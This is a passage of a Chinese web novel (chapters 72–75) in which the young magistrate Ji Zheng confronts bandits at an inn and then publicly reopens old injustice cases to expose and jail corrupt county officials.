收钱的人犹豫不决,还是领头的不耐烦的过来全部抢了,临走还骂道,“你娘死就死了,反正或者也没用。” 季铮揪起心,忍无可忍,他拍桌而起, “慢着!” 72.第 72 章 季铮声音不小,大厅里的目光都齐刷刷的看过来,收钱的都忘了自己的职责,打量的眼神投来。 兰屿维笑着摇了摇头,自知劝不住季铮,没再开口,淡淡给自己倒了一杯酒。 “呵。”领头的气急反笑,目光转向季铮,“你又是哪里蹦出来的。” 季铮上前扶起老商户,拉着人坐下,才看向领头。 这人生的倒是老实本分的模样,竟不知行事如此荒唐。 领头的走过来,他比季铮高些,结实的身子瞬间笼罩季铮。 老商户拉着季铮道,“小公子,你莫要管我了。” 季铮安抚的拍了拍老商户的手,质问道,“谁让你们来这里胡闹的?” 领头的闻言哈哈大笑,笑罢,他上下扫了季铮一眼,“你个小白脸,还敢大放厥词,活腻歪了。” 季铮静静的看着他,等他说完,又问了一遍,“是谁?” “谁?”男人道,“没有谁,老子愿意做就做了呗,你算个什么东西,敢管爷爷的事。” 他说着,就要上手推搡季铮,被季铮轻飘飘的侧肩躲开。 季铮质问,“这乃云州,附近最近的有两县,陇县和百江镇,你鞋上沾了泥,应是走山道来的,只有陇县要过山,你是陇县人?不顾规矩强硬抢夺,我见你身边人也并未多信服你,相比你是才当上当家吧。” 男人心惊,这人猜的居然全对,他只被这话堵得愣了一瞬,反应过来后当即骂道,“挨着你奶奶事了。” 他动气,该推搡为拳脚。 季铮面无表情的,接住他的拳头,道,“没挨着我奶奶爷爷,只是我喜欢多管闲事。” 男人感觉到自己拳头被对方轻而易举的握住动弹不得,心中一慌,这人瞧着柔弱,可力气恐怖如斯。 他这才认真看季铮,这人握着自己拳头,手上青筋尽现,一张脸却毫无动力之色。 面色柔和,眸光犀利非常,男人攥紧拳头拼尽全力攻去,分毫没撼动,季铮站的很稳,还朝他叹了口气。 仿佛他是什么在和大人玩闹的孩子,而现在大人不愿意陪他玩了,能轻松钳制住他。 那段时间季铮跟着陆观潮学,可不是闹着玩的。 下一秒大力袭来,男人拳头痛得厉害,像是被钳子夹住,骨头就要裂开一样。 “啊啊啊——” 男人止不住的挣扎,季铮便松开他,“现在可以好好说话了吗?” “你!”男人握着自己忍不住抖动的手,恶狠狠的看向季铮,“你到底是谁?” 这人身手不简单,又总是一副不放他在眼里的表情,到底哪家大能?! 季铮道,“我的名字,你或许没听过,但往后你一定会记一辈子。” 他掸了掸衣袖,道,“我姓季,字池春,现以陇县县令的身份问你,在这里胡闹可是受人指使?” 男人目眦欲裂,一室寂静。 老商户呆呆的看着季铮,喃喃道,“县,县令大人……” “县令?”兰屿维看连和盛,挑眉问,“你不是说不过一个小生员吗?” 连和盛也是疑惑,他是听说了陇县换县令的事,只是没想到这新县令会是季铮。 方才看到季铮遇险反击就已经够震惊了,这会听到季铮身份,这份震惊成了倍数。 “县令?” 有一人打破寂静,是劝过领头的那人,“我记得,陇县县令是一头肥猪啊,这怎么变成这般俊俏的少年了。” 他说罢,自知失言,赶紧捂住嘴,缩了缩身子怕领头训斥。 季铮道,“董何维罪孽深重,已被圣上处置抄斩,若有疑心,自取陇县一问便知。” 身后,老商户扶着桌子跪下,哭腔道,“县令大人给我们做主大!” 他这话一说,不少商人都喊着县令大人做主。 几个土匪见着架势,也都慌了,问领头道,“头,咱们咋办。” 男人的手还隐隐作痛,打起来退堂鼓,可他转念一想,这时投降,岂不是上赶着交出去脑袋。 他想明白,当即发号施令,“他要真是县令,绝不会放过我们,不如我们把他杀了,谁能知道?” 身边人吓得捂不住嘴巴,忙道,“他可是县令啊!” 季铮皱眉,“刺杀朝廷命官,你就不怕圣上追责?” 男人又变回开始的傲慢,“你都死了,到时候随便一抛,谁知道是我干的。” 季铮笑了,“这里这么多人,你如何确保消息不传出去,难道要全杀了。” “全杀了不就行了,你赤手空拳,我们这么多人难不成还奈何不了你?” “很好。”季铮笑着鼓了鼓掌,“希望你能一直这么自信。” 男人还以为他疯了,就见季铮转头,看向人群里的一人,道,“兰老板,听见了吗?” 众人闪开,兰屿维端坐着,脸上还挂着笑,“多谢县令大人帮我了。” 男人瞳孔一缩,向后退了两步,绊倒在地,瞪大眼睛磕磕绊绊道,“兰,兰屿维,是你?” “是我。”兰屿维裹紧身上的雪白大氅,起身步步靠近,“祝小兄弟,还记得我啊。” 祝墨浑身抖得厉害,比听到季铮是县令时还害怕,“你,你还活着。” “兰大哥!”祝墨身边的小兄弟眼睛一亮,“你回来了!” 兰屿维招了招手,“萝卜过来。” 那个叫萝卜的小兄弟屁颠屁颠的跑到兰屿维身边嘘寒问暖。 黄狄面对这场景一晕又一晕,迷糊问,“这到底是怎么一回事。” 兰屿维过去后,连和盛紧绷的神经一下子抚平了,他给黄狄倒酒,又推过去一盘花生米,“黄大人,没咱们的事了,看着就行。” 季铮早就觉出兰屿维不对劲了,若说有见了土匪还游刃有余是有定力,见到这群土匪欺压商户却像是在他的意料之中,还带着些终于该我上场之意,这就不应该了。 他只猜到了兰屿维与祝墨认识,定有后路,才不管不顾的来出头,没想到这其中故事不短啊。 兰屿维一抬手,“来人,把这位,大当家的绑好了,可别让他再叫嚷了,像只青蛙一般聒噪。” 底下人麻利的动手,全然没有祝墨吩咐时慢吞吞的样子。 祝墨在自己的叫骂声中被自己的人五花大绑。 兰屿维回身,笑眯眯的和几个商户道,“各位受惊了,今日消费记在兰某账上,这天色不早了,兰某还有些私事要处理,各位先休息吧。” 他放出这话了,几个汉子把收上的钱换了回去,自然没商户还坐着,纷纷告别回房。 季铮看着那老 商户被同伴扶走才放心,从他们交谈声中敏锐的捕捉到“龙湖寨内斗”“原大当家”“陷害”几个字,心下猜了个七七八八。 祝墨被绑后,几个汉子明显自在多了,方才守着季铮那桌的小少年跑来冲兰屿维挠挠头道,“大哥,这是钱,我不是故意那么凶的。” 兰屿维指指季铮,“你该给县令大人赔礼。” 小少年红着脸,还季铮钱,连声道,“对不住。” “没什么。”季铮接过,远远把钱抛还给黄狄和连和盛,又问,“你叫什么名字。” 小少年道,“回县令,我叫兰香。” “兰香?”季铮笑了一声,“名字真有趣。” 兰屿维一扬下巴,“我取的,兰香是我义弟。” 季铮正要问他,道,“兰老板方便和我讲讲吗?” 祝墨骂得凶,兰屿维不乐意听,取出手帕堵住祝墨的嘴。 做完这一切后,他道,“当然,即使县令大人不问,我也要说清楚的,毕竟这正好让县令大人看了个正着,可不能再遮掩了。” 据兰屿维说,他们的恩怨已经牵扯四五年了。 最开始,兰屿维为大当家,一手建起龙湖寨,本意是猎户聚到一起,猎到的猎物均分,灾荒年也能过活。 祝墨与连和盛便是附近猎户,两人捐了一虎一豺狼,为二当家,三当家。 后来寨子遭受流寇土匪抢劫,祝墨不满,称寨子弟兄不少,为何不干脆做匪为生,日子多滋润。 兰屿维不肯,这烧杀抢掠是来钱快,可自古土匪的下场都是一条死路,现在不愁吃穿便足够了,好好的日子不能糟蹋了。 祝墨见兰屿维这不成,又去找连和盛,连和盛耿直,大哥说什么就是什么,比兰屿维还不通人情,怨气是在那时攒下了。 后来再遇土匪,祝墨带人逼得紧了,赶到了人老窝里,被反将一军,兄弟们都死了,他一人逃回来。 兰屿维大怒,要把祝墨赶出龙湖寨,祝墨不服气,将他们比作没有血腥的羔羊,策反了一波兄弟反而将兰屿重伤维赶出去。 兰屿维走后,祝墨彻底坐实了土匪名义,四处争抢地盘,连和盛看不下去,带着自己的人深夜离开,联系上兰屿维,创办了四季镖局,跑镖为生。 直至前几个月,祝墨愈发猖狂,对手下人非打即骂,惹得人心浮动,兰屿维辗转联系上寨子里的人,这才谋划了这一场戏。 祝墨心腹不少,兰屿维只得托寨中还信服他的人将祝墨引出来,请君入瓮。 不想遇到了这么善解人意的季铮,替他给祝墨来了一下,兰屿维看了看祝墨的手,啧啧两声,“这是骨裂,怕是治不好了。” “原是如此。”黄狄感慨道,“云老板大义啊。” 季铮问,“那你现在是如何打算?” “没什么打算。”兰屿维道,“我打算事成后便散了,各回各家去,不过如今被县令大人遇到了,那就由大人决定吧。” 季铮又问,“兰老板跑镖的生意不做了?” “哦——”兰屿维思索片刻,“好像确实不能丢下。” 他顿了一下,道,“那就给我留些愿意的兄弟,剩下的给县令安排。” 好草率。 季铮嘴角抽了抽。 这兰屿维还真是一个轻浮的人。 73.第 73 章 见兰屿维的表情不像做假,季铮道,“那便如兰老板所说,若有不愿追随且无去处的,便送来县令府吧。” 兰屿维点点头,又问屋里几个汉子,“你们谁愿意跟着县令大人?” 几个汉子面面相觑不知如何作答好,他们是因着兰屿维才在这,这会兰屿维却说让他们另寻明主,怎么答都不合适。 那可是县令,自己干的是土匪的伙计,将自己交出去,岂不是把脑袋交出去的意思吗,今日说得好好的,万一来日拿他们充功绩怎么办。 兰屿维没等到人主动开口,又道,“县令大人仁善,各位也都见过了,跟着他,总比跟着我这个不讲道理的好。” 萝卜闷声道,“大哥,你哪里不讲道理了。” “无妨。”季铮温声道,“各位既是为了兰老板而来,自然不会在这短短时间内信服于我,我都理解,若觉得为难自可拒绝。” 他这话一说,方才还犹豫措辞的几个汉子,当即有几人站出来, “县令恕罪,我等跟着兰大哥进寨子,早就习惯了,实在无法跟随县令了。” 季铮应下,又问剩下的,“你们可有人愿意?” 剩下的人左右看看,他们中大多是陇县人,家中有妻儿父母,跟着跑镖太危险了,凭自己又养不活家人,与其跟着兰屿维,不如赌一把另择一人。 没过多久便有一人打头阵,咬牙答应下来。 接着越来越多的人拜见,季铮粗略的数了数,约莫有十一二人的样子。 他一一对上脸,“各位壮士放心,我必将大家视作自己人,与县令府他人无异。” 兰屿维很满意,“不错不错,县令愿意留他们一条姓名已经万幸,寨子里还有一众人,待我问过后再与县令汇报。” 两人达成共识,季铮见黄狄被这操作搞得云里雾里,请辞带黄狄离开,路上三言两语的又和黄狄讲了一遍。 黄狄还是不懂,问道,“那这些土匪赐金归良不久好了,为何要大费周折的收进县令府,他们多为土匪,恐怕会伤了百姓的心。” 季铮笑了笑,“我另有他用。” 回房还没等季铮点灯,门外便有人敲门声响起。 季铮开门去看,竟是陶疆,他问,“怎么了吗?” “大人,您没事吧。”陶疆一脸焦急,“我听到楼下的声响,可被一人堵住无法出门。” 他上上下下看了一遍季铮,松了口气,“还好大人无事,大人若出事了,啊!呸,小的乱说话,大人不会有事。” 季铮被他这一顿自言自语逗笑了,道,“你有这心我就很欣慰了,好了你也看过了,快回去歇息吧,明日还要赶路呢。” 陶疆频频回头,终于是回到自己房了。 季铮回屋,正要点灯时,却从窗子看到了一轮圆月。 月亮可真凉,大都的月也是这般吧,不知陆观潮有没有看到。 另一边,陆观潮对着月亮发呆。 季铮离开大都的这些日子,他想了很多。 比如季铮总梳不整齐的头发,碎发再额间飘啊飘,怎么也抓不住。 不知道都及冠当上县令了,还会不会这么不细心,据说某些官员矫情,要丫鬟小厮代替束发,又会是谁给季铮梳头发呢? 他都没能给季铮梳头发,应许不会有别人吧。 比如,还在陇县时,他拉季铮,衣服粗糙微微剌手。 在大都陆观潮给他置办了几身,又是县令了,应该穿上柔软的好衣裳了吧。 哦,还听说某些官员更加矫情,连衣服都不自己穿,那么会有人给季铮穿吗。 陆观潮拿不准了,他没给季铮穿过,不知季铮对此是什么态度。 不过季铮不大爱和人肢体亲昵,或许也不会有吧。 或者说,季铮其实很喜欢说话,他不在了,谁会时时刻刻听季铮絮叨。 陆观潮不敢想,他这下劝不了自己了,一想到季铮会兴奋的和除自己以外的人分享,整颗心就一阵阵的酸痛。 他趴到桌上,望着月亮,心道如果能变成月亮,是不是就能一直在季铮身边了。 他们还有多少聚少离多的岁月要熬。 第二日,季铮几人与兰屿维在客栈门口分别。 兰屿维和几个汉子要回寨子一趟,收拾物品告知家人等等,祝墨被挂在马背上,看模样要不是堵着嘴还在破口大骂。 兰香骑着马,眼神扫过季铮,和人视线对上,猛地像是被猫看到的老鼠似的别过头。 告别后,季铮马车才起步没跑出几米,就听见有人叫他,不止一声,他掀起车帘往外看。 后面,客栈门口,昨夜的商户前来相送,季铮模模糊糊看到佝偻着腰背的老商户,老商户扯着嗓子喊道,“县令慢走——” 季铮无端红了眼眶,探身出车子,向他们招手示意不必送了,那些人不理,执拗的朝他喊着一路平安云云。 直到看不到人影,季铮才坐回去,心神久久无法平静 另一辆车,黄狄听着不绝于耳的相送声,心生感触,也不管还在车上,提笔记录。 陇县和季铮走前没区别,季秧得知人回来的消息,与县令府众人早早在门口等待。 黄狄要先回府里不顺利,两人进城后便分开。 季铮下车,小姑娘迎面扑上来,他笑了一下,拍了拍季秧的脑袋安慰道,“我回来了,对不住晚了几日。” 田观雪在门口笑着迎接,“大人,您可算回来了,快快进府吧。” 季铮应了一声,再低头看,季秧闷闷不乐的,他还以为是委屈哭了,顿时慌了神,柔声哄道,“阿兄错了,我还给你带了不少礼物,你不看看?” “阿兄。” 季秧抬眼,露出乌青的黑眼圈,凄然一笑,“你回来可就别想逃了。” 季铮心里咯噔一声,下意识吞了吞喉结,心知不是好事。 他不动声色的推开季秧,眨了眨眼,“什么事啊?” 小厮进进出出的搬运行李,陶疆提着鸟笼出来就看到这幅场景,有些发愣,“这位是大人的家妹吧,果然是貌比……呃,小姐要好好休息啊。” 季秧阴沉沉的翻出一沓子纸塞到季铮手里,“这些都是县令府陈年官司,包括各部门官员谋私核对不上的漏洞,我是无力招架了,全都交给阿兄了。” 这一沓子纸的确多,季铮双手捧着,腾不出手擦汗。 不料下一秒季秧又掏出从身后小厮那掏出两沓子摞上去。 季秧目光炯炯,“阿兄慢慢看,我要去睡觉了。” 说罢她转身就走,徒留季铮一人捧着凌乱。 田观雪接住鸟笼一惊 ,“这是个什么鸟,真是威风。” 他没少见董何维养鸟,曾有急事被同僚排挤,便赶去管鸟,那一院子鸟花红柳绿,新奇极了。 但也大多是小巧玲珑,可爱乖巧的小玩意,田观雪还是头一回见这种凶悍的鸟。 季铮真是与众不同啊,养个鸟都不一般。 “这不是鸟。”陶疆道,“这是海东青。” 田观雪挑挑眉,仔细打量一番,和鸟眼对视片刻,道,“这名字相衬,不过这鸟吃什么啊,我好安排下去。” 陶疆继续道,“海东青是鹰,它叫除夕,大人取的,至于吃什么,喂生肉即可。” “鹰?!”田观雪骤然弹开,不敢再看除夕的双眼,战战兢兢的避开,险些就要丢掉,“诶哟我的大人啊,你怎么养只鹰啊,伤着了可如何是好。” 季铮才吩咐了人将这些送到书房,便听到两人谈话,笑道,“这可是圣上赐的,你们可小心点。” 田观雪这下是更不敢丢下了,皱着脸还强硬笑着逼自己适应。 季铮又问陶疆,“我送到了,你可要回大都?” 陶疆沉默多时,末了开口问,“大人,我能留在府里吗?” 季铮还没来得及说话,陶疆自顾自的说下去,“我得罪了人,在大都活不下去了,又身无亲眷,实在没去处了。” 他像是怕季铮觉得他累赘,匆忙补充道,“我会打扫卫生,做饭也行,看家护院也不在话下,我还会驯马,也能接待客人,不要工钱,管吃住就成,大人收了不亏啊!” 田观雪听了都心动了,劝道,“这小兄弟瞧起来稳妥,府中缺人的紧,大人通融一二?” “陶疆。”季铮出声,缓解了陶疆紧绷的神经,他道,“你不说,我也是要问你愿不愿意留下的。” 路上的这段时间,陶疆处事处处细心,极会察言观色,不似凡夫,虽不知是何来历,但季铮看得出来本心不坏,当然想拉拢。 陶疆激动的语无伦次,“多谢!啊多谢大人!” 季铮道,“去给陶疆找个住处吧,我回书房看一看。” “诶!”田观雪喜气洋洋的带陶疆进府,“我那院刚好有空房,若不介意便一起吧。” 陶疆连连点头,“荣幸,自然是不介意。” 田观雪又道,“大人,若是有什么问题,随时遣人来问我。” 季铮摆了摆手,嘴上答应下来了,心道这点事还遇到叫人帮忙? 他怀着这样的想法走进书房,看到堆积如山等待批阅的文件也没撼动分毫。 直到坐到桌前真的开始批了,季铮认输了。 怪不得能把季秧逼成那样。 地下官员也太乱太疯狂太嚣张了吧!官司也太多太没天理太恶势力了吧!! 门口小厮打了个哈欠,抱着季铮怕他冷给的手炉,正想着新县令就是比先县令好,都不会动不动叫他进去挨打挨骂。 心里美滋滋的时候,耳边传来一道好听的声音,“劳驾,帮我个忙。” 瞧瞧,新县令脾气多好,声音听起来都悦耳,还好当时没走选择留下了。 小厮赶紧进书房听命令,抬眼却见季铮一脸烦恼,道,“去叫一下田谋士。” “是。”小厮转身要走,季铮又道,“去问一下,如果小姐还没睡,让她也来一趟。” 74.第 74 章 季秧揉着眼睛赶到时,季铮正和田观雪聊府内事务。 “多少人啊,我看看。”田观雪翻看名单,“丫鬟……一个,婆子三个,小厮有六个,管事走了,侍卫也没了,大人手下的莫关源一众人,哦还有幕僚,就我一个。” 他说完,又问,“大人要买些奴婢吗,外头好些人想进府呢。” “不买。”季铮摇了摇头。 田观雪不解,“为何?咱们府里人手不够用啊,又不能让莫关源他们做粗活。” “也不是不用人的意思。”季铮又道,“我不签身契,付费请人来做工。” 田观雪吃惊,“什么!不签身契,这怎么行,万一拿了钱跑了如何?” 季铮思索片刻,“这倒是问题,那再次之前,我还要办一件事。” 顿了一下,他道,“明日起,让全陇县的人分拨来从新登记造册,领取身份证明,编撰身份一一记下,进出城门报备。” “这……”田观雪不大赞同,“先不说陇县这么大,如何召集所有人来登记,就说出城报备,岂不是太严苛了。” 季铮道,“你的考虑没问题,有钱能使鬼推磨,来登记造册者,领鸡蛋,出城报备着,发放盘缠。” 田观雪懵了,还能有这操作? 他愣愣道,“咱们有钱?” “圣上给我拨了银子,我算了算足够登记造册用了。”季铮知道他要问什么,继续道,“剩下的,靠我努力了。” 季秧睁大眼睛,“阿兄,你要卖艺还钱啊?” “说什么呢,大人不是这种人。”田观雪忙反驳,自己也拿不准,试探着问,“大人,是吧?” 季铮翻了几页冤情,指了指脑袋,“当然不至于,我脑子可不是白长的,只不过有些蛀虫棘手。” 田观雪与季秧对视一眼,弄不懂季铮打算干什么。 季铮看完,挑出了几张,问道,“县令府底下各层都有谁?” 田观雪答,“县丞卢乌,主簿寒石,以及典史史生海,还有六房书吏……” 季铮听罢,从手里几张里又挑走一半,末了他将几张旧案给田观雪,道,“你和陶疆宣传出去,就说县令要重翻旧案,有冤情的自可明日来报。” 田观雪接过,发觉都是些极棘手的案子,问,“既然要翻案,大人为何不先挑简单些的?” “对症下药好得快。”季铮道,“快去吧,尤其是前三张,务必传到受害者耳中。” 田观雪不懂,但还是依言退下来。 季秧活动了一下脖子,问,“阿兄,难道还有我的事?” “抱歉打扰你休息了。”季铮歉意的笑笑,“这几处账目有问题,帮我看看。” 季秧哀嚎一声,“还要看账目啊!” 身体却很诚实的上去查看,她一目十行挑出漏洞之处,看季铮不解,便将通身本领都传授给季铮。 季铮恍然大悟,慢慢的后面几张也不用季秧了自己就能看清楚。 陶疆擅捕捉人心,田观雪擅“溜须拍马”,有这两一个比一个油嘴滑舌的在,消息一传十十传百。 一时之间风风雨雨,人人都在谈论此事,县令道明日可围观,毕竟是旧案重翻,有意思的很。 茶楼酒馆打赌,这县令脾气这么好,怎么斗得过那群人精,有幸灾乐祸等着看热闹的,自然也有担心季铮的,众说纷纭。 但到底如何,还要到翻案那时才好说。 消息传到县丞卢乌耳里,他正在练太极,寒石在一旁喝茶,闻言抬眼。 小厮急的团团转,“大人,这可如何是好,万一新县令要杀鸡儆猴……” “哼!”寒石狠狠把茶杯撂下,发出“砰”的一声脆响,“他敢?” 卢乌倒是冷静,“寒石兄,可别把我的茶杯弄坏了啊。” 寒石恨铁不成钢般的眼神看他,“你还不紧不慢的,这人拉下董兄不成,现在还要爬到我们头上撒尿了,这毛头小子哪来的胆量。” “新人嘛。”卢乌笑笑,“难免浮躁,再说,也并不是他拉下董兄,是节度使啊。” 寒石一顿,“你的意思是?” 卢乌淡淡看他,“新县令是个脾气软乎的面团,还不是仍我们揉捏,重要的是节度使啊。” 寒石低笑一声,没了方才的紧张,他道,“我这就准备。” 他叫来小厮,耳语了几句,小厮像是早就熟悉了这档子事,颔首出门去。 寒石又坐回去慢悠悠的喝茶。 不消多时,小厮回来递上来一张字条,道,“大人办妥了,这是那位大人给的。” 卢乌打开一看,顿时喜笑颜开,寒石凑上去也瞧了一眼。 只见字条上写着:不负所托。 第二日正午,天气寒冷,季铮提前叫人煮了姜汤发下去,百姓早已围聚公堂前,却不见一位大人,只有陶疆田观雪两人一边一个站着发姜汤。 问什么都会,就是问大人行踪装傻充愣。 县令府其余官员到时,季铮还没影,卢乌看到季铮还有心思发放姜汤,更坐实了季铮是个软柿子的想法,和寒石对视一眼面含笑意。 “我要一碗。” 田观雪抬头,竟是典史史生海,他忙见礼,盛了一碗递去,“史大人。” 史生海不发一言,端着姜汤到自己的位置。 真是个脾气古怪人,田观雪心道,他在县令府几年了,大小官都见过了,唯独这位鲜少遇上。 等待良久季铮都没出现,卢乌不耐烦了,上前询问田观雪,“县令大人何时来?” “快了快了。”田观雪倒出一碗姜汤,“大人喝一碗吧。” 卢乌又道,“到底何时,还要我们这么多人等多久?” 田观雪见他不接,便自己喝了一口,自顾自道,“这姜汤味道真不错,大人真不来一份?” 卢乌气得想把他的姜汤摊掀了。 门外一声“节度使大人到——”传来。 这般大的阵仗,竟连节度使都注意到了。 卢乌一众人起身相迎,他暗喜,正要向节度使举报季铮玩忽职守,抬眼看到节度使大人身后的人。 除夕以及能乖巧立在季铮肩头了,他一手驾鹰,一手提着除夕的零嘴,跟着节度使进来。 黄狄道了句不必多礼,几人落座。 卢乌与寒石傻了,季铮怎么和节度使一起出现。 等不了他们多思考,季铮便请第一位有冤情的百姓上前。 一个坡脚的大爷,被一个大娘搀扶进来。 季铮眯了眯眼,“观雪,给这两位搬椅子。” 卢乌暗地里嗤笑一声,还搬椅子?显着他了,不过很快他就笑不出来了。 大爷大娘坐下后,连声感谢。 季铮摆出一副平易近人的笑容,问道,“今日我为你们做主,请讲吧。” 大爷没说话,这大娘率先哭出声,道,“草民有一儿一女,三年前,女儿被先县令抓走,下落不明,儿子也被逼进了民兵,被里面的兵活活打死啊,如今,我连儿女的尸身都寻不到。” 她哭了一会,继续说,“老婆子腿脚不便,老头子上去理论,却被府里的人打残了腿……” 他看了看卷宗,当年是县丞办的案,以无意之去结的案,体恤金一吊钱。 季铮问,“当年不是给了一吊钱安置吗?” 大娘哭得更凶的,“县令老爷明鉴啊, 一吊钱我们连一个铜板都没拿到,地里的田还被占了啊!” 季铮看向卢乌,“这是县丞大人办的吧,钱呢,为什么没有到人手上。” 卢乌被他这眼神一瞧,仿佛被钉着原地,直冒冷汗,磕磕绊绊道,“也,也许,是被手下人,克扣了。” 哪个手下人敢这么克扣,分明卢乌自己昧下当酒钱了。 季铮歪头,凝眉摇了摇头,“对手下人管理不周,这是县丞大人的错吧。” 卢乌擦着冷汗,点头哈腰。 季铮便对老夫妻和颜悦色道,“对不住,这二两银子您们先拿走,就当我单独给的养老钱,两位那边稍坐,我一定给你们一个交代。” 卢乌与寒石一惊,这不是办完了吗,补了钱还没完? 季铮紧接着请下一位。 这是一对姐弟,年纪尚轻,姐姐躲在弟弟身后,小心翼翼的观察四周。 弟弟行礼道,“见过县令,我与家姐住在山上,前年遇匪,家姐被掳走,我寻到巡检司,巡检司的大人却不管这事,将我赶出,我只得自己去找,交了赎金,再找的家姐的时候……” 他顿了一下,似乎很不忍心,侧身让开,那姐姐见了人大声叫嚷躲闪,竟是疯了。 寒石心凉了半截,这是巡检司的事。 季铮一阵痛心,这次没发作,照例送了医药费,让他们一边稍等。 第三户冤情上场,是对兄弟,是替全村来的,道半年前收钱修路,前收了地抢了,路却没修,今年夏日湖水上涨,淹没的了一户没跑掉人家,至今不了了之。 季铮结清了全村银两,又让他们入座。 “寒主簿,修路是朝廷拿钱吧,”季铮看向寒石,“钱呢?是多金贵的路,要双份银子也修不好?” 寒石终于是明白卢乌的煎熬了。 他不敢回答,瞥眼看到季铮夹着一块生肉喂给那鹰,海东青目光如尖刀狠狠捅在他心头。 这季铮哪里是软柿子,明明是块硬石头啊! 随着伸冤的人越来越多,牵扯在内的人也愈发多,堂内坐满了贫苦百姓,气氛压抑。 在场众人眼观鼻鼻观心,都成了哑巴,场上只剩伸冤声,和季铮如地府恶灵般的质问。 直到堂内坐不下了,季铮不再请人上来。 一阵寂静,季铮冷声道,“方才涉及到的各位,还坐着呢?” 一众人抖了一抖,就听黄狄道,“还不动身!” 节度使一开口,几人不敢再藏了,密密麻麻的跪下一片。 其实卢乌与寒石全身都麻了。 怎么回事,他们不是贿赂了节度使了吗,黄狄不是同意了吗,怎么反将一军? 季铮道,“自己承认,还是我一个个念?” 堂下无声,这么多平日里耀武扬威的大人,此刻跪地活像只鹌鹑,连带着围观的百姓都屏住呼吸。 吏房一个胆小的爬出来,就要认错。 季铮打断道,“我又想了想,今日不必了,还有两日,到时一起清算,岂不方便?” 他转头问陶疆,“都记下了?” 陶疆应声,“记得,今日支出三千五百六十四两零两吊钱五铜板,都已经记录在册。” 季铮偶然发现了陶疆识字更加惊喜,这活就交给他做了。 “都听见了。”季铮又笑了,“这钱,难道要我拿?” 堂下人心里叫苦连天,偏偏不能发作,只好捏着鼻子主动掏钱,把自己吞下去的银子吐出去,期望季铮能留他们一条命,个个憋得脸色涨红。 在场唯一正襟危坐的史生海看向季铮,嘴角勾了一下。 这可不是杀鸡儆猴,这是干脆把鸡窝掀了重建啊。 75.第 75 章 这场翻案浩浩荡荡的持续了三天。 这几日随着涉案官员越来越多,所犯罪责越来越多,有一些官员坐不住了,私下偷偷给季铮塞钱,自然,打着补贴百姓的名义。 季铮这边钱照常收,一问事能不能行,态度就模糊了,只道要看各位诚意了。 这话一出,谁还不知道意思?是嫌钱不够啊。 也罢也罢,也算是是个活命的办法,总比硬骨头不松口的好,留得青山在不愁没柴烧。 众人只得匆忙变卖家产,这几年贪的钱加倍了流水似的县令府,心里像被锤头狠狠捶打了一顿。 这黄狄不靠谱了,季铮总得说话算话吧。 有钱的能掏钱,那没钱的怎么办,等死吗? 季铮另有办法,没钱是吧,可以出力啊。 这百姓大冬日的在这呆着,天寒地冻了,总要有人分发姜汤吃食吧,这钱拿不出,这点东西总拿得起。 也罢也罢,最起码不用卖儿卖妻,那就加班加点的蒸馒头吧。 来看升堂的一看还包饭,这下是传的更远了,最后一日围的水泄不通,想看的不想看的为了吃食都来了,连偏远村子的人都马不停蹄的赶到。 以至于前面说了什么,要靠口口相传后面的才能知道。 季铮微笑着处理完最后一案,安抚了众人,又掏出了一张纸,清清嗓子念道, “我与黄大人昨夜商议好了,这些陈年积案,不可不算,念到名字的官员,请上前来。” 这是到了处罚的时候了。 掏了钱的官员坐怀不乱,神色自然,没掏钱的也心道自己没有没有功劳也有苦劳,总不能一棒子打死。 没料季铮接下来念出的一长串名单,彻底震碎了他们的想象。 每一人,每一个罪名,分毫不差,不仅没免除,甚至还罪加一等,曰贿赂官员。 这是一点情分不讲,他们掏的钱出的力都白费了! 季铮和黄狄是一路货色?! 不等底下众官员缓过神,季铮大手一挥,“我已写成折子上报圣上,各位请在牢里,等待圣上安置吧。” 有几人反应过来就要质问,季铮没用县令府的人,莫关源几个五大三粗的汉子力气可不是吹的,当即堵住嘴,了无声息的拉下去。 百姓顿时热血沸腾,连连喊道县令大义,消息口耳相传,大半个陇县的人都在这,这下是真成大新闻了。 季铮目光扫过还尚在的几位官员,几人明显松了一口气,战战兢兢的坐着,各怀鬼胎。 他们当中也未尝干净,要不是县令府实在没人用,季铮也想一起打包丢出去。 只有一个,季铮还真看不出他有一点错事,这人的存在感低到离谱,所有冤案巡查下去,他的名字是一个都找不到。 季铮看向史生海,正巧史生海也看过来, “县令大人。”史生海一本正经道,“姜汤我还能再要一碗吗?” 不过有些过于节俭了。 季铮亲自给人端了一碗,道,“史典史,如今县丞空了出来,你可有想法顶上?” 史生海捧着姜汤喝了一口,点了点头,“好。” 就这?季铮看他表情不像藏拙,难道是真两耳不闻窗外事的呆子? 史生海张了张嘴,一副要说什么的样子。 下一秒,史生海道,“我要回了,可以吗?” 季铮哭笑不得,又敲打了一番剩余的官员,便散场了。 回到书房,田观雪一脸喜色的进来汇报,“大人,您可太厉害了,这收上来的钱,抛去贴补开支,还剩了这么多。” 季秧瞟了一眼,惊叹道,“做生意不如收贿赂啊。” “少乱想。”季铮道,“这下登记造册的钱有了吧。” 季秧“哦”了一声,田观雪道,“那我便与陶侍从一起去安排了。” 陶疆留在县令府后,被季铮破格提拔为侍从,与田观雪平起平坐。 季铮点点头,季秧也道,“我也要去吗?” “不用你。”季铮对她道,“不过,有时间你回一趟村里,将陈昇叫来。” 季秧办事麻利,下午季铮说的,她连夜把人带来了。 季铮要把这些冤案重新编撰入库,等做完这一切后已经后半夜了,正要休息,门外季秧敲门。 “阿兄。”季秧道,“人我带到了!” 接着是陈昇紧张的声音,“季哥,不是不是,县令大人。” 陈昇瞧样子是知道后一刻不停赶来的,头发都是乱的,鞋上还沾着泥,局促的站着。 季铮气笑了,“我让你有时间叫人,没说是现在啊。” 季秧嘿嘿一笑,“我怕阿兄有急事。” “没事啊。”陈昇讨好似的道,“县令大人有令,无论什么时候我都会来的。” 季铮叹一口气,“陈昇,我不希望我们生疏了,你还是叫我哥就行。” 陈昇听了这话嘴角一下子就勾起了,他猛地点点头,“季铮哥!” 季铮笑道,“这都后半夜了,一路赶来累不累,先去休息吧。” “不累。”陈昇摇头,又兴冲冲的道,“我听说季铮哥翻案的事情了,隔壁村的刘帆还想去要点补偿呢,被人骂了不好意思去了。” 他说罢哈哈大笑起来,季铮也跟着笑了笑,掏出几两银子给陈昇道,“你回去的时候如果见到他,把这个给他吧。” 陈昇拿着银子,没好气道,“他抢了你的东西去邀功反而被打,是他活该,全村子都替你打抱不平,季铮哥何必管他。” 季铮又塞给陈昇几两,“这就当做路费了,毕竟是陇县百姓,我不可因私不顾。” “好吧。”陈昇收下银子,问,“不过季铮哥有事找我,是什么事吗。” 